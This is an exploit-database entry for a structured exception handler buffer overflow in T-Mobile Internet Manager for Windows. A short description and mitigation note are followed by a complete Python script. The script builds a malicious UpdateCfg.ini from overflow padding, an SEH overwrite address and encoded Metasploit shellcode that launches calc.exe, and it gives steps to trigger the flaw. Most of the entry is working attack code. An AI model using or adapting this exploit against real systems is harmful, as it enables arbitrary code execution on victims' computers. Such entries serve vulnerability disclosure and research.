T-Mobile Internet Manager SEH Buffer Overflow

vendor:

Internet Manager

by:

metacom

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Internet Manager

Affected Version From: TMO_PCV1.0.5B06

Affected Version To: TMO_PCV1.0.5B06

Patch Exists: NO

Related CWE:

CPE: a:t-mobile:internet_manager:1.0.5b06

Metasploit:

Other Scripts:

Platforms Tested: Windows (Win-7, Win-8.1, Win-XPSp3)

2015

T-Mobile Internet Manager SEH Buffer Overflow

This exploit allows an attacker to execute arbitrary code by exploiting a buffer overflow vulnerability in T-Mobile Internet Manager software for Windows. The vulnerability occurs in the handling of the UpdateCfg.ini file, which can be exploited by copying a specially crafted file to the program's installation directory and triggering an update.

Mitigation:

To mitigate this vulnerability, users should update to the latest version of T-Mobile Internet Manager software. Additionally, it is recommended to exercise caution when downloading and executing files from untrusted sources.

Source

Exploit-DB raw data:

#!/usr/bin/python
# coding: utf-8
#Exploit Title:T-Mobile Internet Manager SEH Buffer Overflow 
#Version:Internet Manager Software für Windows (TMO_PCV1.0.5B06)
#Software for usb Wireless:T-Mobile web'n'walk Stick Fusion
#Homepage:https://www.t-mobile.de/meinhandy/1,25412,19349-_,00.html
#Software Link:https://www.t-mobile.de/downloads/neu/winui.zip
#Found:8.01.2015
#Exploit Author: metacom - twitter.com/m3tac0m
#Tested on: Win-7 En, Win-8.1 DE-Enterprise, Win-XPSp3 EN
#Video poc:http://bit.ly/17DhwSR
print "[*]Copy UpdateCfg.ini to C:\Program Files\T-Mobile\InternetManager_Z\Bin\n"
print "[*]Open Program and go to Menu-Options \n"
print "[*]Click Update and press Now look for Update\n"
from struct import pack
junk="\x41" * 18073
nseh="\xeb\x06\x90\x90" 
seh=pack('<I',0x6900CEAE)#6900CEAE 5F  POP EDI intl.dll
nops="\x90" * 100
#msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R | 
#msfencode -e x86/alpha_upper -b "\x00\x0a\x0d\x1a\xff" -t c
shellcode=("\x89\xe2\xdd\xc1\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4d\x59\x55\x50"
"\x35\x50\x35\x50\x53\x50\x4d\x59\x4b\x55\x46\x51\x59\x42\x33"
"\x54\x4c\x4b\x56\x32\x30\x30\x4c\x4b\x31\x42\x44\x4c\x4c\x4b"
"\x30\x52\x45\x44\x4c\x4b\x44\x32\x57\x58\x34\x4f\x38\x37\x50"
"\x4a\x51\x36\x46\x51\x4b\x4f\x30\x31\x49\x50\x4e\x4c\x47\x4c"
"\x33\x51\x43\x4c\x34\x42\x36\x4c\x31\x30\x49\x51\x48\x4f\x54"
"\x4d\x45\x51\x59\x57\x4d\x32\x4c\x30\x56\x32\x46\x37\x4c\x4b"
"\x31\x42\x44\x50\x4c\x4b\x31\x52\x57\x4c\x43\x31\x48\x50\x4c"
"\x4b\x51\x50\x53\x48\x4b\x35\x49\x50\x34\x34\x51\x5a\x53\x31"
"\x4e\x30\x36\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x36\x38\x47"
"\x50\x45\x51\x58\x53\x4b\x53\x57\x4c\x37\x39\x4c\x4b\x36\x54"
"\x4c\x4b\x33\x31\x39\x46\x30\x31\x4b\x4f\x56\x51\x49\x50\x4e"
"\x4c\x4f\x31\x58\x4f\x44\x4d\x55\x51\x49\x57\x37\x48\x4d\x30"
"\x52\x55\x4b\x44\x43\x33\x43\x4d\x4a\x58\x37\x4b\x33\x4d\x57"
"\x54\x33\x45\x4b\x52\x30\x58\x4c\x4b\x36\x38\x57\x54\x33\x31"
"\x58\x53\x55\x36\x4c\x4b\x54\x4c\x30\x4b\x4c\x4b\x56\x38\x45"
"\x4c\x35\x51\x58\x53\x4c\x4b\x55\x54\x4c\x4b\x33\x31\x38\x50"
"\x4b\x39\x57\x34\x31\x34\x46\x44\x51\x4b\x31\x4b\x53\x51\x30"
"\x59\x50\x5a\x46\x31\x4b\x4f\x4d\x30\x51\x48\x31\x4f\x30\x5a"
"\x4c\x4b\x34\x52\x5a\x4b\x4c\x46\x31\x4d\x33\x5a\x43\x31\x4c"
"\x4d\x4c\x45\x38\x39\x55\x50\x45\x50\x43\x30\x50\x50\x53\x58"
"\x56\x51\x4c\x4b\x32\x4f\x4c\x47\x4b\x4f\x38\x55\x4f\x4b\x4b"
"\x4e\x44\x4e\x30\x32\x4a\x4a\x32\x48\x39\x36\x4c\x55\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x33\x36\x43\x4c\x35\x5a\x4d"
"\x50\x4b\x4b\x4b\x50\x54\x35\x33\x35\x4f\x4b\x47\x37\x52\x33"
"\x54\x32\x32\x4f\x42\x4a\x43\x30\x46\x33\x4b\x4f\x49\x45\x52"
"\x43\x53\x51\x42\x4c\x53\x53\x46\x4e\x43\x55\x43\x48\x35\x35"
"\x43\x30\x41\x41")
header  = "\x5b\x55\x50\x44\x41\x54\x45\x5d\x0a\x0a\x0a\x0a\x45\x4e\x41\x42\x4c\x45\x5f\x55\x50\x44\x41\x54\x45\x3d\x31\x0a\x0a\x0a"
header += "\x0a\x55\x50\x44\x41\x54\x45\x5f\x46\x52\x45\x51\x55\x45\x4e\x43\x45\x3d\x31\x34\x0a\x0a\x0a\x0a\x5b\x53\x65\x72\x76\x69"
header += "\x63\x65\x5d\x0a\x0a\x0a\x0a\x6d\x65\x74\x61\x63\x6f\x6d\x3d\x74\x77\x69\x74\x74\x65\x72\x2e\x63\x6f\x6d\x2f\x6d\x33\x74"
header += "\x61\x63\x30\x6d\x0a\x0a\x0a\x0a\x53\x65\x72\x76\x69\x63\x65\x55\x52\x4c\x3d\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x6d\x6f"
header += "\x62\x69\x6c\x65\x2e\x7a\x74\x65\x2e\x63\x6f\x6d\x2e\x63\x6e\x2f\x55\x70\x64\x61\x74\x65\x45\x6e\x74\x72\x79\x2e\x61\x73"
header += "\x70\x78\x0a\x0a\x0a\x0a\x55\x70\x64\x61\x74\x65\x52\x65\x70\x6f\x72\x74\x3d\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x6d\x6f"
header += "\x62\x69\x6c\x65\x2e\x7a\x74\x65\x2e\x63\x6f\x6d\x2e\x63\x6e\x2f\x55\x70\x64\x61\x74\x65\x52\x65\x73\x75\x6c\x74\x52\x65"
header += "\x70\x6f\x72\x74\x2e\x61\x73\x70\x78"+junk+nseh+seh+nops+shellcode+'\n\n'
footer  = "\x0a\x53\x65\x72\x76\x69\x63\x65\x50\x6f\x72\x74\x3d\x34\x34\x33\x0a\x0a\x0a\x0a\x55\x50\x44\x41\x54\x45\x5f\x50\x41\x54\x48"
footer += "\x3d\x2e\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64\x0a\x0a\x0a\x0a\x52\x45\x54\x52\x59\x5f\x43\x4f\x4e\x4e\x45\x43\x54\x3d\x33"
footer += "\x30\x30\x0a\x0a\x0a\x0a\x52\x45\x54\x52\x59\x5f\x53\x4c\x45\x45\x50\x3d\x31\x0a\x0a\x0a\x0a\x43\x4f\x4e\x4e\x45\x43\x54"
footer += "\x5f\x54\x49\x4d\x45\x4f\x55\x54\x3d\x32\x30\x0a\x0a\x0a\x0a\x5b\x55\x70\x64\x61\x74\x65\x4d\x6f\x64\x65\x5d\x0a\x0a\x0a"
footer += "\x0a\x4d\x6f\x64\x65\x53\x65\x6c\x65\x63\x74\x53\x79\x73\x3d\x31\x0a" 
exploit =  header + footer
filename = "UpdateCfg.ini"
file = open(filename , "w")
file.write(exploit)
file.close()